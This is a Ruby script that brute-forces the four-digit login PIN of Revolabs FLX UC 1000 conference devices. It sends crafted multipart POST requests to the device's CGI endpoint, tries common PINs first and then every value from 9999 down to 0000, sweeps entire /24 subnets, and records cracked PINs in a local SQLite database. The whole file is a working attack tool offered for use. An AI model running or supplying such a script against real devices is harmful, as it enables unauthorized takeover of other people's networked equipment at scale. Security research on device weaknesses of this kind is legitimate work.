#!/usr/bin/env ruby
## bf_login.rb - brute force the login for the revolabs flx UC 1000

require 'json'
require 'net/http'
require 'sequel'
require 'uri'

class BfLoginError < StandardError; end

class BfLogin

  attr_reader :address, :dbh, :errors, :found, :responses

  def initialize(address)
    @address   = address
    @errors    = Array.new
    @responses = Array.new
    @found     = Hash.new

    db = 'bflogin.db'
    @dbh = Sequel.connect(sprintf('sqlite://%s', db))

    initialize_db
  end

  def initialize_db
    @dbh.create_table? :pins do
      primary_key :id
      String :ip
      String :pin
      Date :created
    end
  end

  def add_pin_to_db(ip, pin)
    unless self.pin_known?(ip)
      @dbh[:pins].insert(
        :ip      => ip,
        :pin     => pin,
        :created => Time.now,
      )
    else
      puts sprintf('found pin[%s] for ip[%s], but database already includes this', pin, ip)
    end
    @found[ip] = pin
  end

  def pin_known?(ip)
    @dbh[:pins].where(:ip => ip).count > 0
  end

  def get_pin(ip)
    @dbh[:pins].select(:pin).where(:ip => ip).all.first[:pin]
  end

  # return a Net::HTTP::Post request suitable for validating +pin+
  def get_request(uri, pin)
    request = Net::HTTP::Post.new(uri.request_uri)
    request['Accept']          = 'application/json, text/plain, */*'
    request['Accept-Encoding'] = 'gzip, deflate'
    request['Accept-Language'] = 'en-US,en;q=0.8'
    request['Connection']      = 'keep-alive'
    request['Content-Type']    = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
    request['Origin']          = sprintf('http://%s', uri.host)
    request['Referer']         = sprintf('http://%s/login', uri.host)
    request['User-Agent']      = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'

    # TODO determine necessity of this, given fuzzing, it's probably unnecessary
    request['Cookie'] = sprintf('_ga=GA1.4.595462255.%s', Time.now.to_i)

    body = Array.new

    body << '-----------------------------7da24f2e50046' # this is a magic number: https://stackoverflow.com/questions/37701805/ie11-content-type-false-in-ie11-it-doesnt-work
    body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file..
    body << 'Content-type: plain/text'
    body << '' # newline
    body << sprintf('<properties sys.validate-password="%s"/>', pin)
    body << '-----------------------------7da24f2e50046'

    request.body = body.join("\r\n")
    request
  end

  # return True|False
  def check_pin(url, pin)
    uri = URI.parse(url)

    if self.pin_known?(uri.host)
      kp = self.get_pin(uri.host)
      raise BfLoginError.new(sprintf('host[%s] pin is already known[%s]', uri.host, kp))
    end


    http = Net::HTTP.new(uri.host, uri.port)

    http.open_timeout = 5

    request  = get_request(uri, pin)
    response = http.request(request)

    # wrong: <properties sys.validate-password="0"></properties>
    # right: <properties sys.validate-password="1"></properties>
    if response['Content-Type'].eql?('text/plain')
      response.body.match(/1/) ? true : false
    else
      raise BfLoginError.new(sprintf('host[%s] is listening on port 80, but does not look like a revo, skipping', uri.host))
    end

  end

end

#
## main()

address = ARGV.first

if address.nil?
  puts sprintf('usage: %s <ipaddress/range>', __FILE__)
  puts sprintf('  %s 192.168.1.42', __FILE__)
  puts sprintf('  %s 192.168.1.*', __FILE__)
  exit 1
end

mode    = address.match(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) ? :ip : :range
targets = Array.new

if mode.eql?(:ip)
  targets << address
elsif mode.eql?(:range)
  base = address.split('.')[0..2].join('.')
  1.upto(254) do |octet|
    targets << sprintf('%s.%s', base, octet)
  end
end

puts sprintf('target count[%s]', targets.size)

_pins = Array.new
9999.downto(0).to_a.each do |i|
  _pins << sprintf('%04d', i)
end

prioritized = [1234, 2546, 1739, 9876, 1425, 4152].each.collect { |i| i.to_s } # commonly used PINs

# commonly used PINs that follow a pattern
0.upto(9) do |i|
  prioritized << sprintf('%04d', i * 1111)
end

pins = [ prioritized, _pins ].flatten.uniq

targets.each do |target|

  app = BfLogin.new(target)
  url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
  puts sprintf('url: [%s]', url)

  pins.each do |pin|
    begin
      puts sprintf('  trying pin[%s] on[%s]', pin, target)

      response = app.check_pin(url, pin)
      app.responses << { :ip => target, :pin => pin, :results => response }

      if response
        app.add_pin_to_db(target, pin)
        puts sprintf('INFO: found PIN[%s] for [%s]', pin, target)
        break
      end

      # this was necessary when testing against a local server, but not against real devices
      #sleep 1 if (i % 100).eql?(0)

    rescue Errno::ECONNREFUSED, Errno::ETIMEDOUT, Net::OpenTimeout => e
      puts sprintf('ERROR: ip[%s] is not listening on 80', target)
      break
    rescue BfLoginError => e
      puts e.message
      break
    rescue => e
      puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
      break
    end

  end


end
